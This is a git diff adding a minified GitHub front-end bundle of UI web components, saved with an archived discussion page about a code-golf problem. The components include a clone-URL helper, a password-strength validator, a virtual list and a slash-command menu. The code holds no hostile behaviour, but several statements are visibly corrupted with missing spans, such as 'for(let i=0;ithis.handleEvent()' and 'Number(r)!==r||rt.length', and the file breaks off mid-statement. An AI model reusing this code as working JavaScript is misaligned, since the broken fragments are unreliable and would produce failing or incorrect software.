Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js new file mode 100644 index 0000000..9257d62 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var se=Object.defineProperty;var a=(B,P)=>se(B,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["github-elements"],{47486:(B,P,m)=>{var b=m(71544),L=m(38257),y=m(14840),p=m(57260),E=m(13002),I=m(73921),D=m(27034),_=m(51941),d=m(88309),o=m(40987),h=m(57852),f=m(88823);window.IncludeFragmentElement.prototype.fetch=s=>(s.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(s));var c=m(99254),l=m(90420),w=Object.defineProperty,C=Object.getOwnPropertyDescriptor,A=a((s,t,e,n)=>{for(var i=n>1?void 0:n?C(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&w(t,e,i),i},"__decorateClass");let W=a(class extends HTMLElement{updateURL(s){const t=s.currentTarget,e=t.getAttribute("data-url")||"";if(this.helpField.value=e,t.matches(".js-git-protocol-clone-url"))for(const n of this.helpTexts)n.textContent=e;for(const n of this.cloneURLButtons)n.classList.remove("selected");t.classList.add("selected")}},"GitCloneHelpElement");A([l.fA],W.prototype,"helpField",2),A([l.GO],W.prototype,"helpTexts",2),A([l.GO],W.prototype,"cloneURLButtons",2),W=A([l.Ih],W);var q=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"__accessCheck"),z=a((s,t,e)=>(q(s,t,"read from private field"),e?e.call(s):t.get(s)),"__privateGet"),U=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"__privateAdd"),k=a((s,t,e,n)=>(q(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"__privateSet"),M,S,H,G;function dt(s,t){const e=[];let n=0;for(let i=0;ithis.handleEvent()))}handleEvent(){z(this,G)&&cancelAnimationFrame(z(this,G)),k(this,G,requestAnimationFrame(()=>this.mark()))}disconnectedCallback(){var t;(t=this.ownerInput)==null||t.removeEventListener("input",this),z(this,H).disconnect()}mark(){const t=this.textContent||"",e=this.query;if(t===z(this,M)&&e===z(this,S))return;k(this,M,t),k(this,S,e),z(this,H).disconnect();let n=0;const i=document.createDocumentFragment();for(const r of(this.positions||dt)(e,t)){if(Number(r)!==r||rt.length)continue;t.slice(n,r)!==""&&i.appendChild(document.createTextNode(t.slice(n,r))),n=r+1;const g=document.createElement("mark");g.textContent=t[r],i.appendChild(g)}i.appendChild(document.createTextNode(t.slice(n))),this.replaceChildren(i),z(this,H).observe(this,{attributes:!0,childList:!0,subtree:!0})}}a(Y,"MarkedTextElement"),M=new WeakMap,S=new WeakMap,H=new WeakMap,G=new WeakMap,Y.observedAttributes=["query","data-owner-input"];const j=null;window.customElements.get("marked-text")||(window.MarkedTextElement=Y,window.customElements.define("marked-text",Y));var tt=m(52641);class N extends HTMLElement{connectedCallback(){this.addEventListener("input",bt)}disconnectedCallback(){this.removeEventListener("input",bt)}}a(N,"PasswordStrengthElement"),window.customElements.get("password-strength")||(window.PasswordStrengthElement=N,window.customElements.define("password-strength",N));function bt(s){const t=s.currentTarget;if(!(t instanceof N))return;const e=s.target;if(!(e instanceof HTMLInputElement))return;const n=e.form;if(!(n instanceof HTMLFormElement))return;const i=ht(e.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(i.valid){e.setCustomValidity("");const r=t.querySelector("dl.form-group");r&&(r.classList.remove("errored"),r.classList.add("successed"))}else e.setCustomValidity(t.getAttribute("invalid-message")||"Invalid");Nt(t,i),(0,tt.G)(n)}a(bt,"onInput");function ht(s,t){const e={valid:!1,hasMinimumCharacterCount:s.length>=t.minimumCharacterCount,hasMinimumPassphraseLength:t.passphraseLength!==0&&s.length>=t.passphraseLength,hasLowerCase:/[a-z]/.test(s),hasNumber:/\d/.test(s)};return e.valid=e.hasMinimumPassphraseLength||e.hasMinimumCharacterCount&&e.hasLowerCase&&e.hasNumber,e}a(ht,"validatePassword");function Nt(s,t){var e,n;const i=s.querySelector("[data-more-than-n-chars]"),r=s.querySelector("[data-min-chars]"),u=s.querySelector("[data-number-requirement]"),g=s.querySelector("[data-letter-requirement]"),T=((e=s.getAttribute("error-class"))==null?void 0:e.split(" ").filter(O=>O.length>0))||[],x=((n=s.getAttribute("pass-class"))==null?void 0:n.split(" ").filter(O=>O.length>0))||[];for(const O of[i,r,u,g])O==null||O.classList.remove(...T,...x);if(t.hasMinimumPassphraseLength&&i)i.classList.add(...x);else if(t.valid)r.classList.add(...x),u.classList.add(...x),g.classList.add(...x);else{const O=t.hasMinimumCharacterCount?x:T,J=t.hasNumber?x:T,It=t.hasLowerCase?x:T;i==null||i.classList.add(...T),r.classList.add(...O),u.classList.add(...J),g.classList.add(...It)}}a(Nt,"highlightPasswordStrengthExplainer");var ie=m(37211);class xt extends D.Z{async fetch(t,e=1e3){const n=await super.fetch(t);return n.status===202?(await new Promise(i=>setTimeout(i,e)),this.fetch(t,e*1.5)):n}}a(xt,"PollIncludeFragmentElement"),window.customElements.get("poll-include-fragment")||(window.PollIncludeFragmentElement=xt,window.customElements.define("poll-include-fragment",xt));var Ft=m(75329);class Lt extends Ft.nJ{connectedCallback(){mt.push(this),yt||(St(),yt=window.setInterval(St,1e3))}disconnectedCallback(){const t=mt.indexOf(this);t!==-1&&mt.splice(t,1),mt.length||(window.clearInterval(yt),yt=void 0)}getFormattedDate(){const t=this.date;if(!t)return;const e=new Date().getTime()-t.getTime(),n=Math.floor(e/1e3),i=Math.floor(n/60),r=Math.floor(i/60),u=Math.floor(r/24),g=n-i*60,T=i-r*60,x=r-u*24;return i<1?this.applyPrecision([`${n}s`]):r<1?this.applyPrecision([`${i}m`,`${g}s`]):u<1?this.applyPrecision([`${r}h`,`${T}m`,`${g}s`]):this.applyPrecision([`${u}d`,`${x}h`,`${T}m`,`${g}s`])}applyPrecision(t){const e=Number(this.getAttribute("data-precision")||t.length);return t.slice(0,e).join(" ")}}a(Lt,"PreciseTimeAgoElement");const mt=[];let yt;function St(){for(const s of mt)s.textContent=s.getFormattedDate()||""}a(St,"updateNowElements"),window.customElements.get("precise-time-ago")||(window.PreciseTimeAgoElement=Lt,window.customElements.define("precise-time-ago",Lt));var Rt=m(12981),Vt=m(56238),zt=Object.defineProperty,qt=Object.getOwnPropertyDescriptor,ft=a((s,t,e,n)=>{for(var i=n>1?void 0:n?qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&zt(t,e,i),i},"remote_pagination_element_decorateClass");let rt=a(class extends HTMLElement{constructor(){super(...arguments);this.loaderWasFocused=!1}connectedCallback(){this.setPaginationUrl(this.list)}get hasNextPage(){return!this.form.hidden}loadNextPage(){!this.hasNextPage||(0,Vt.Bt)(this.form)}get disabled(){return this.submitButton.hasAttribute("aria-disabled")}set disabled(s){s?this.submitButton.setAttribute("aria-disabled","true"):this.submitButton.removeAttribute("aria-disabled"),this.submitButton.classList.toggle("disabled",s)}loadstart(s){s.target.addEventListener("focus",()=>{this.loaderWasFocused=!0},{once:!0}),s.target.addEventListener("include-fragment-replaced",()=>{var t;this.setPaginationUrl(this.list),this.loaderWasFocused&&((t=this.focusMarkers.pop())==null||t.focus()),this.loaderWasFocused=!1},{once:!0})}async submit(s){var t;if(s.preventDefault(),this.disabled)return;this.disabled=!0;let e;try{const i=await fetch(this.form.action);if(!i.ok)return;e=await i.text()}catch{return}const n=(0,Rt.r)(document,e);this.setPaginationUrl(n),this.list.append(n),(t=this.focusMarkers.pop())==null||t.focus(),this.disabled=!1,this.dispatchEvent(new CustomEvent("remote-pagination-load"))}setPaginationUrl(s){const t=s.querySelector("[data-pagination-src]");if(!t)return;const e=t.getAttribute("data-pagination-src");e?(this.form.action=e,this.form.hidden=!1):this.form.hidden=!0}},"RemotePaginationElement");ft([l.fA],rt.prototype,"form",2),ft([l.fA],rt.prototype,"list",2),ft([l.GO],rt.prototype,"focusMarkers",2),ft([l.fA],rt.prototype,"submitButton",2),rt=ft([l.Ih],rt);var kt=m(10160);const jt=/\s|\(|\[/;function $t(s,t,e){const n=s.lastIndexOf(t,e-1);if(n===-1||s.lastIndexOf(" ",e-1)>n)return;const r=s[n-1];return r&&!jt.test(r)?void 0:{word:s.substring(n+t.length,e),position:n+t.length,beginningOfLine:Ut(r)}}a($t,"keyword");const Ut=a(s=>s===void 0||/\n/.test(s),"isBeginningOfLine"),Gt=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],Ht=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],Ot=new WeakMap;function Kt(s,t){const e=s.nodeName.toLowerCase();if(e!=="textarea"&&e!=="input")throw new Error("expected textField to a textarea or input");let n=Ot.get(s);if(n&&n.parentElement===s.parentElement)n.innerHTML="";else{n=document.createElement("div"),Ot.set(s,n);const g=window.getComputedStyle(s),T=Gt.slice(0);e==="textarea"?T.push("white-space:pre-wrap;"):T.push("white-space:nowrap;");for(let x=0,O=Ht.length;x{e.remove()},5e3),{top:r.top-i.top,left:r.left-i.left}}a(Zt,"textFieldSelectionPosition");const at=new WeakMap;class Bt{constructor(t,e){this.expander=t,this.input=e,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithMenu=!1,e.addEventListener("paste",this.onpaste),e.addEventListener("input",this.oninput),e.addEventListener("keydown",this.onkeydown),e.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}activate(t,e){this.input===document.activeElement&&this.setMenu(t,e)}deactivate(){const t=this.menu,e=this.combobox;return!t||!e?!1:(this.menu=null,this.combobox=null,t.removeEventListener("combobox-commit",this.oncommit),t.removeEventListener("mousedown",this.onmousedown),e.destroy(),t.remove(),!0)}setMenu(t,e){this.deactivate(),this.menu=e,e.id||(e.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(e);const n=e.querySelector(".js-slash-command-menu-items");n?this.combobox=new kt.Z(this.input,n):this.combobox=new kt.Z(this.input,e);const{top:i,left:r}=Zt(this.input,t.position),u=parseInt(window.getComputedStyle(this.input).fontSize);e.style.top=`${i+u}px`,e.style.left=`${r}px`,this.combobox.start(),e.addEventListener("combobox-commit",this.oncommit),e.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}setValue(t){if(t==null)return;const e=this.match;if(!e)return;const n=this.input.value.substring(0,e.position-e.key.length),i=this.input.value.substring(e.position+e.text.length);let{cursor:r,value:u}=this.replaceCursorMark(t);u=(u==null?void 0:u.length)===0?u:`${u} `,this.input.value=n+u+i,this.deactivate(),this.input.focus(),r=n.length+(r||u.length),this.input.selectionStart=r,this.input.selectionEnd=r}replaceCursorMark(t){const e=/%cursor%/gm,n=e.exec(t);return n?{cursor:n.index,value:t.replace(e,"")}:{cursor:null,value:t}}async onCommit({target:t}){const e=t;if(!(e instanceof HTMLElement)||!this.combobox)return;const n=this.match;if(!n)return;const i={item:e,key:n.key,value:null},r=new CustomEvent("text-expander-value",{cancelable:!0,detail:i}),u=!this.expander.dispatchEvent(r),{onValue:g}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));await g(this.expander,n.key,e),!u&&i.value&&this.setValue(i.value)}onBlur(){if(this.interactingWithMenu){this.interactingWithMenu=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async delay(t){return new Promise(e=>setTimeout(e,t))}async onInput(){if(this.justPasted){this.justPasted=!1;return}const t=this.findMatch();if(t){if(this.match=t,await this.delay(this.appropriateDelay(this.match)),this.match!==t)return;const e=await this.notifyProviders(t);if(!this.match)return;e?this.activate(t,e):this.deactivate()}else this.match=null,this.deactivate()}appropriateDelay(t){return t.beginningOfLine||t.text!==""?0:250}findMatch(){const t=this.input.selectionEnd,e=this.input.value;for(const n of this.expander.keys){const i=$t(e,n,t);if(i)return{text:i.word,key:n,position:i.position,beginningOfLine:i.beginningOfLine}}}async notifyProviders(t){const e=[],n=a(x=>e.push(x),"provide"),i=new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:n,text:t.text,key:t.key}});if(!this.expander.dispatchEvent(i))return;const{onChange:u}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));return u(this.expander,t.key,n,t.text),(await Promise.all(e)).filter(x=>x.matched).map(x=>x.fragment)[0]}onMousedown(){this.interactingWithMenu=!0}onKeydown(t){t.key==="Escape"&&this.deactivate()&&(t.stopImmediatePropagation(),t.preventDefault())}}a(Bt,"SlashCommandExpander");class Mt extends HTMLElement{get keys(){const t=this.getAttribute("keys");return t?t.split(" "):[]}connectedCallback(){const t=this.querySelector('input[type="text"], textarea');if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const e=new Bt(this,t);at.set(this,e)}disconnectedCallback(){const t=at.get(this);!t||(t.destroy(),at.delete(this))}setValue(t){const e=at.get(this);!e||e.setValue(t)}setMenu(t,e=!1){const n=at.get(this);!n||!n.match||(e&&(n.interactingWithMenu=!0),n.setMenu(n.match,t))}closeMenu(){const t=at.get(this);!t||t.setValue("")}isLoading(){const t=this.getElementsByClassName("js-slash-command-expander-loading")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}showError(){const t=this.getElementsByClassName("js-slash-command-expander-error")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}}a(Mt,"SlashCommandExpanderElement"),window.customElements.get("slash-command-expander")||(window.SlashCommandExpanderElement=Mt,window.customElements.define("slash-command-expander",Mt));var Xt=Object.defineProperty,Qt=Object.getOwnPropertyDescriptor,_t=a((s,t,e,n)=>{for(var i=n>1?void 0:n?Qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Xt(t,e,i),i},"text_suggester_element_decorateClass");let pt=a(class extends HTMLElement{acceptSuggestion(){var s;((s=this.suggestion)==null?void 0:s.textContent)&&(this.input.value=this.suggestion.textContent,this.input.dispatchEvent(new Event("input")),this.suggestionContainer&&(this.suggestionContainer.hidden=!0),this.input.focus())}},"TextSuggesterElement");_t([l.fA],pt.prototype,"input",2),_t([l.fA],pt.prototype,"suggestionContainer",2),_t([l.fA],pt.prototype,"suggestion",2),pt=_t([l.Ih],pt);var Dt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_filter_input_element_accessCheck"),R=a((s,t,e)=>(Dt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_filter_input_element_privateGet"),ot=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_filter_input_element_privateAdd"),V=a((s,t,e,n)=>(Dt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_filter_input_element_privateSet"),gt,lt,ut,et,vt,K;function Jt(s){return Boolean(s instanceof Set||s&&typeof s=="object"&&"size"in s&&"add"in s&&"delete"in s&&"clear"in s)}a(Jt,"isSetAlike");class Tt extends HTMLElement{constructor(){super(...arguments);ot(this,gt,void 0),ot(this,lt,0),ot(this,ut,null),ot(this,et,void 0),ot(this,vt,new Set),ot(this,K,null),this.filter=(t,e)=>String(t).includes(e)}static get observedAttributes(){return["src","loading","data-property","aria-owns"]}get filtered(){if(R(this,K))return R(this,K);if(this.hasAttribute("aria-owns")){const t=this.ownerDocument.getElementById(this.getAttribute("aria-owns")||"");t&&Jt(t)&&V(this,K,t)}return R(this,K)||V(this,K,new Set)}set filtered(t){V(this,K,t)}get input(){return this.querySelector("input, textarea")}get src(){return this.getAttribute("src")||""}set src(t){this.setAttribute("src",t)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(t){this.setAttribute("loading",t)}get accept(){return this.getAttribute("accept")||""}set accept(t){this.setAttribute("accept",t)}get property(){return this.getAttribute("data-property")||""}set property(t){this.setAttribute("data-property",t)}reset(){this.filtered.clear(),V(this,vt,new Set)}clear(){!this.input||(this.input.value="",this.input.dispatchEvent(new Event("input")))}attributeChangedCallback(t,e,n){const i=this.isConnected&&this.src,r=this.loading==="eager",u=t==="src"||t==="loading"||t==="accept"||t==="data-property",g=t==="src"||t==="data-property",T=e!==n;g&&T&&(V(this,ut,null),R(this,et)&&clearTimeout(R(this,et))),i&&r&&u&&T?(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load()))):t==="aria-owns"&&V(this,K,null)}connectedCallback(){this.src&&this.loading==="eager"&&(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load())));const t=this.input;if(!t)return;const e=this.getAttribute("aria-owns");e!==null&&this.attributeChangedCallback("aria-owns","",e),t.setAttribute("autocomplete","off"),t.setAttribute("spellcheck","false"),this.src&&this.loading==="lazy"&&(document.activeElement===t?this.load():t.addEventListener("focus",()=>{this.load()},{once:!0})),t.addEventListener("input",this)}disconnectedCallback(){var t;(t=this.input)==null||t.removeEventListener("input",this)}handleEvent(t){var e,n;t.type==="input"&&(R(this,et)&&clearTimeout(R(this,et)),V(this,et,window.setTimeout(()=>this.filterItems(),((n=(e=this.input)==null?void 0:e.value)==null?void 0:n.length)||0<3?300:0)))}async load(){var t;(t=R(this,gt))==null||t.abort(),V(this,gt,new AbortController);const{signal:e}=R(this,gt);if(!this.src)throw new Error("missing src");if(await new Promise(n=>setTimeout(n,0)),!e.aborted){this.dispatchEvent(new Event("loadstart"));try{const n=await this.fetch(this.request(),{signal:e});if(location.origin+this.src!==n.url)return;if(!n.ok)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);V(this,vt,new Set((await n.json())[this.property])),V(this,ut,null),this.dispatchEvent(new Event("loadend"))}catch(n){if(e.aborted){this.dispatchEvent(new Event("loadend"));return}throw(async()=>(this.dispatchEvent(new Event("error")),this.dispatchEvent(new Event("loadend"))))(),n}this.filtered.clear(),this.filterItems()}}request(){return new Request(this.src,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"application/json"}})}fetch(t,e){return fetch(t,e)}filterItems(){var t,e;const n=(e=(t=this.input)==null?void 0:t.value.trim())!=null?e:"",i=R(this,ut);if(V(this,ut,n),n===i)return;this.dispatchEvent(new CustomEvent("virtual-filter-input-filter"));let r;i&&n.includes(i)?r=this.filtered:(r=R(this,vt),this.filtered.clear());for(const u of r)this.filter(u,n)?this.filtered.add(u):this.filtered.delete(u);this.dispatchEvent(new CustomEvent("virtual-filter-input-filtered"))}}a(Tt,"VirtualFilterInputElement"),gt=new WeakMap,lt=new WeakMap,ut=new WeakMap,et=new WeakMap,vt=new WeakMap,K=new WeakMap;const re=null;window.customElements.get("virtual-filter-input")||(window.VirtualFilterInputElement=Tt,window.customElements.define("virtual-filter-input",Tt));var Wt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_list_element_accessCheck"),v=a((s,t,e)=>(Wt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_list_element_privateGet"),nt=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_list_element_privateAdd"),Z=a((s,t,e,n)=>(Wt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_list_element_privateSet"),st,F,Q,$,Et,At,ct;class Pt extends HTMLElement{constructor(){super(...arguments);nt(this,st,!1),nt(this,F,new Set),nt(this,Q,new Map),nt(this,$,1/0),nt(this,Et,new Map),nt(this,At,new Map),nt(this,ct,0)}static get observedAttributes(){return["data-updating"]}get updating(){return this.getAttribute("data-updating")==="lazy"?"lazy":"eager"}set updating(t){this.setAttribute("data-updating",t)}get size(){return v(this,F).size}get range(){const t=this.getBoundingClientRect().height,{scrollTop:e}=this,n=`${e}-${t}`;if(v(this,Et).has(n))return v(this,Et).get(n);let i=0,r=0,u=0,g=0;const T=v(this,Q);for(const x of v(this,F)){const O=T.get(x)||v(this,$);if(u+O=t)break}return[i,r]}attributeChangedCallback(t,e,n){if(e===n||!this.isConnected)return;const i=t==="data-updating"&&n==="eager",r=t==="data-sorted"&&this.hasAttribute("data-sorted");(i||r)&&this.update()}connectedCallback(){this.addEventListener("scroll",()=>this.update()),this.updateSync=this.updateSync.bind(this)}update(){v(this,ct)&&cancelAnimationFrame(v(this,ct)),!v(this,st)&&this.hasAttribute("data-sorted")?Z(this,ct,requestAnimationFrame(()=>{this.dispatchEvent(new CustomEvent("virtual-list-sort",{cancelable:!0}))&&this.sort()})):Z(this,ct,requestAnimationFrame(this.updateSync))}renderItem(t){const e={item:t,fragment:document.createDocumentFragment()};return this.dispatchEvent(new CustomEvent("virtual-list-render-item",{detail:e})),e.fragment.children[0]}recalculateHeights(t){const e=this.querySelector("ul, ol, tbody");e&&(e.append(this.renderItem(t)),Z(this,$,e.children[0].getBoundingClientRect().height),v(this,Q).set(t,v(this,$)),e.replaceChildren())}updateSync(){const t=this.querySelector("ul, ol");if(!t)return;const[e,n]=this.range;if(nn){T=!1;break}let it=null;if(u.has(X))it=u.get(X);else{if(it=this.renderItem(X),!it)continue;u.set(X,it)}r.set(X,it)}t.replaceChildren(...r.values()),t.style.paddingTop=`${x}px`;const O=this.size*v(this,$);t.style.height=`${O||0}px`;let J=!1;const It=this.getBoundingClientRect().bottom;for(const[X,it]of r){const{height:ee,bottom:ne}=it.getBoundingClientRect();J=J||ne>=It,v(this,Q).set(X,ee)}if(!T&&this.size>r.size&&!J)return v(this,Et).delete(`${this.scrollTop}-${this.getBoundingClientRect().height}`),this.update();this.dispatchEvent(new CustomEvent("virtual-list-updated"))}has(t){return v(this,F).has(t)}add(t){return v(this,F).add(t),Z(this,st,!1),Number.isFinite(v(this,$))||this.recalculateHeights(t),this.updating==="eager"&&this.update(),this}delete(t){const e=v(this,F).delete(t);return Z(this,st,!1),v(this,Q).delete(t),this.updating==="eager"&&this.update(),e}clear(){v(this,F).clear(),v(this,Q).clear(),Z(this,$,1/0),Z(this,st,!0),this.updating==="eager"&&this.update()}forEach(t,e){for(const n of this)t.call(e,n,n,this)}entries(){return v(this,F).entries()}values(){return v(this,F).values()}keys(){return v(this,F).keys()}[Symbol.iterator](){return v(this,F)[Symbol.iterator]()}sort(t){return Z(this,F,new Set(Array.from(this).sort(t))),Z(this,st,!0),this.updating==="eager"&&this.update(),this}}a(Pt,"VirtualListElement"),st=new WeakMap,F=new WeakMap,Q=new WeakMap,$=new WeakMap,Et=new WeakMap,At=new WeakMap,ct=new WeakMap;const ae=null;window.customElements.get("virtual-list")||(window.VirtualListElement=Pt,window.customElements.define("virtual-list",Pt));var Yt=Object.defineProperty,te=Object.getOwnPropertyDescriptor,Ct=a((s,t,e,n)=>{for(var i=n>1?void 0:n?te(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Yt(t,e,i),i},"visible_password_element_decorateClass");let wt=a(class extends HTMLElement{show(){this.input.type="text",this.input.focus(),this.showButton.hidden=!0,this.hideButton.hidden=!1}hide(){this.input.type="password",this.input.focus(),this.hideButton.hidden=!0,this.showButton.hidden=!1}},"VisiblePasswordElement");Ct([l.fA],wt.prototype,"input",2),Ct([l.fA],wt.prototype,"showButton",2),Ct([l.fA],wt.prototype,"hideButton",2),wt=Ct([l.Ih],wt)},7679:(B,P,m)=>{m.d(P,{H:()=>y,v:()=>L});var b=m(59753);function L(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!1)}a(L,"showGlobalError");function y(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!0)}a(y,"hideGlobalError"),(0,b.on)("deprecatedAjaxError","[data-remote]",function(p){const E=p.detail,{error:I,text:D}=E;p.currentTarget===p.target&&(I==="abort"||I==="canceled"||(/{m.d(P,{G:()=>_});var b=m(45075),L=m(64463),y=m(59753);const p=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function E(d){const o=d.getAttribute("data-required-value"),h=d.getAttribute("data-required-value-prefix");if(d.value===o)d.setCustomValidity("");else{let f=o;h&&(f=h+f),d.setCustomValidity(f)}}a(E,"checkValidityForRequiredValueField"),(0,b.q6)("[data-required-value]",function(d){const o=d.currentTarget;E(o)}),(0,y.on)("change","[data-required-value]",function(d){const o=d.currentTarget;E(o),_(o.form)}),(0,b.q6)("[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity("")}),(0,y.on)("change","[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity(""),_(o.form)}),(0,b.ZG)(p,d=>{let o=d.checkValidity();function h(){const f=d.checkValidity();f!==o&&d.form&&_(d.form),o=f}a(h,"inputHandler"),d.addEventListener("input",h),d.addEventListener("blur",a(function f(){d.removeEventListener("input",h),d.removeEventListener("blur",f)},"blurHandler"))});const I=new WeakMap;function D(d){I.get(d)||(d.addEventListener("change",()=>_(d)),I.set(d,!0))}a(D,"installHandlers");function _(d){const o=d.checkValidity();for(const h of d.querySelectorAll("button[data-disable-invalid]"))h.disabled=!o}a(_,"validate"),(0,L.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const o=d.form;o&&(D(o),d.disabled=!o.checkValidity())}}),(0,L.N7)("input[data-required-change], textarea[data-required-change]",function(d){const o=d,h=o.type==="radio"&&o.form?o.form.elements.namedItem(o.name).value:null;function f(c){const l=o.form;if(c&&o.type==="radio"&&l&&h)for(const w of l.elements.namedItem(o.name))w instanceof HTMLInputElement&&w.setCustomValidity(o.value===h?"unchanged":"");else o.setCustomValidity(o.value===(h||o.defaultValue)?"unchanged":"")}a(f,"customValidity"),o.addEventListener("input",f),o.addEventListener("change",f),f(),o.form&&_(o.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const o=d.target;setTimeout(()=>_(o))}})},56238:(B,P,m)=>{m.d(P,{Bt:()=>E,DN:()=>_,KL:()=>h,Se:()=>D,qC:()=>f,sw:()=>d});var b=m(59753),L=m(2061),y=m(7679);(0,b.on)("click",".js-remote-submit-button",async function(c){const w=c.currentTarget.form;c.preventDefault();let C;try{C=await fetch(w.action,{method:w.method,body:new FormData(w),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}C&&!C.ok&&(0,y.v)()});function p(c,l,w){return c.dispatchEvent(new CustomEvent(l,{bubbles:!0,cancelable:w}))}a(p,"fire");function E(c,l){l&&(I(c,l),(0,L.j)(l)),p(c,"submit",!0)&&c.submit()}a(E,"requestSubmit");function I(c,l){if(!(c instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(l instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(l.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!c||c!==l.form)throw new Error("The specified element is not owned by the form element.")}a(I,"checkButtonValidity");function D(c,l){if(typeof l=="boolean")if(c instanceof HTMLInputElement)c.checked=l;else throw new TypeError("only checkboxes can be set to boolean value");else{if(c.type==="checkbox")throw new TypeError("checkbox can't be set to string value");c.value=l}p(c,"change",!1)}a(D,"changeValue");function _(c,l){for(const w in l){const C=l[w],A=c.elements.namedItem(w);(A instanceof HTMLInputElement||A instanceof HTMLTextAreaElement)&&(A.value=C)}}a(_,"fillFormValues");function d(c){if(!(c instanceof HTMLElement))return!1;const l=c.nodeName.toLowerCase(),w=(c.getAttribute("type")||"").toLowerCase();return l==="select"||l==="textarea"||l==="input"&&w!=="submit"&&w!=="reset"||c.isContentEditable}a(d,"isFormField");function o(c){return new URLSearchParams(c)}a(o,"searchParamsFromFormData");function h(c,l){const w=new URLSearchParams(c.search),C=o(l);for(const[A,W]of C)w.append(A,W);return w.toString()}a(h,"combineGetFormSearchParams");function f(c){return o(new FormData(c)).toString()}a(f,"serialize")},99254:(B,P,m)=>{m.d(P,{Z:()=>d});var b=m(47142);const L=a((o,h,f)=>{if(!(0,b.CD)(o,h))return-1/0;const c=(0,b.Gs)(o,h);return c{o.innerHTML="";let c=0;for(const l of(0,b.m7)(h,f)){f.slice(c,l)!==""&&o.appendChild(document.createTextNode(f.slice(c,l))),c=l+1;const C=document.createElement("mark");C.textContent=f[l],o.appendChild(C)}o.appendChild(document.createTextNode(f.slice(c)))},"highlightElement"),p=new WeakMap,E=new WeakMap,I=new WeakMap,D=a(o=>{if(!I.has(o)&&o instanceof HTMLElement){const h=(o.getAttribute("data-value")||o.textContent||"").trim();return I.set(o,h),h}return I.get(o)||""},"getTextCache");class _ extends HTMLElement{connectedCallback(){const h=this.querySelector("ul");if(!h)return;const f=new Set(h.querySelectorAll("li")),c=this.querySelector("input");c instanceof HTMLInputElement&&c.addEventListener("input",()=>{this.value=c.value});const 